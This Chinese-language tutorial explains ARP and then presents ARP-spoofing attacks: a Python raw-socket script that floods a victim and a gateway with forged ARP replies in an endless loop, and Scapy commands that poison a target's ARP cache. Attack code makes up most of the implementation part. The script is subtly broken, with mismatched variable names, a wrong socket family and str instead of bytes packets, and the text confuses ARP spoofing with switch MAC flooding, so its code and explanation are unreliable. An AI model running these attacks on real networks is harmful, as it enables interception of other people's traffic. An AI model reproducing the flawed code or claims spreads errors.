Python滲透測試 - ARP欺騙



ARP可以定義為一種無狀態協議,用於將網際網路協議(IP)地址對映到物理機器地址。

ARP的工作原理

在本節中,我們將瞭解ARP的工作原理。請考慮以下步驟以瞭解ARP的工作方式:

  • 步驟1 - 首先,當一臺機器想要與另一臺機器通訊時,它必須在其ARP表中查詢物理地址。

  • 步驟2 - 如果它找到機器的物理地址,則資料包在轉換為正確的長度後,將傳送到目標機器。

  • 步驟3 - 但如果表中沒有找到IP地址的條目,則ARP_request將廣播到網路上。

  • 步驟4 - 現在,網路上的所有機器都將比較廣播的IP地址與MAC地址,如果網路中的任何機器識別出該地址,它將響應ARP_request以及其IP和MAC地址。此類ARP訊息稱為ARP_reply。

  • 步驟5 - 最後,傳送請求的機器將地址對儲存在其ARP表中,並且整個通訊將進行。

什麼是ARP欺騙?

它可以定義為一種攻擊型別,其中惡意攻擊者在本地網路上傳送偽造的ARP請求。ARP中毒也稱為ARP欺騙。可以透過以下幾點理解:

  • 首先,ARP欺騙為了使交換機過載,將構造大量偽造的ARP請求和回覆資料包。

  • 然後交換機將設定為轉發模式。

  • 現在,ARP表將被欺騙的ARP響應淹沒,以便攻擊者可以嗅探所有網路資料包。

使用Python實現

在本節中,我們將瞭解ARP欺騙的Python實現。為此,我們需要三個MAC地址——第一個是受害者的,第二個是攻擊者的,第三個是閘道器的。除此之外,我們還需要使用ARP協議的程式碼。

讓我們匯入所需的模組,如下所示:

import socket
import struct
import binascii

現在,我們將建立一個套接字,它將具有三個引數。第一個引數告訴我們關於資料包介面的資訊(對於Linux來說是PF_PACKET,對於Windows來說是AF_INET),第二個引數告訴我們它是否是原始套接字,第三個引數告訴我們我們感興趣的協議(這裡0x0800用於IP協議)。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

我們現在將提供攻擊者、受害者和閘道器機器的MAC地址:

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

我們需要提供ARP協議的程式碼,如下所示:

code ='\x08\x06'

兩個乙太網資料包,一個用於受害者機器,另一個用於閘道器機器,已如下構建:

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

以下程式碼行按照ARP報文頭的順序排列:

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

現在我們需要提供閘道器機器和受害者機器的IP地址(假設我們有以下閘道器和受害者機器的IP地址):

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

使用socket.inet_aton()方法將上述IP地址轉換為十六進位制格式。

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

執行以下程式碼行以更改閘道器機器的IP地址。

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

在Kali Linux上使用Scapy實現

可以使用Kali Linux上的Scapy實現ARP欺騙。按照以下步驟執行相同的操作:

步驟1:攻擊者機器的地址

在此步驟中,我們將透過在Kali Linux的命令提示符下執行命令ifconfig來找到攻擊者機器的IP地址。

步驟2:目標機器的地址

在此步驟中,我們將透過在Kali Linux的命令提示符下執行命令ifconfig來找到目標機器的IP地址,我們需要在另一臺虛擬機器上開啟該命令提示符。

步驟3:Ping目標機器

在此步驟中,我們需要使用以下命令從攻擊者機器ping目標機器:

Ping –c 192.168.43.85(say IP address of target machine)

步驟4:目標機器上的ARP快取

我們已經知道兩臺機器使用ARP資料包交換MAC地址,因此在步驟3之後,我們可以在目標機器上執行以下命令以檢視ARP快取:

arp -n

步驟5:使用Scapy建立ARP資料包

我們可以使用Scapy建立ARP資料包,如下所示:

scapy
arp_packt = ARP()
arp_packt.display()

步驟6:使用Scapy傳送惡意ARP資料包

我們可以使用Scapy傳送惡意ARP資料包,如下所示:

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

步驟7:再次檢查目標機器上的ARP快取

現在,如果我們再次檢查目標機器上的ARP快取,我們將看到偽造的地址“1.1.1.1”。

廣告

© . All rights reserved.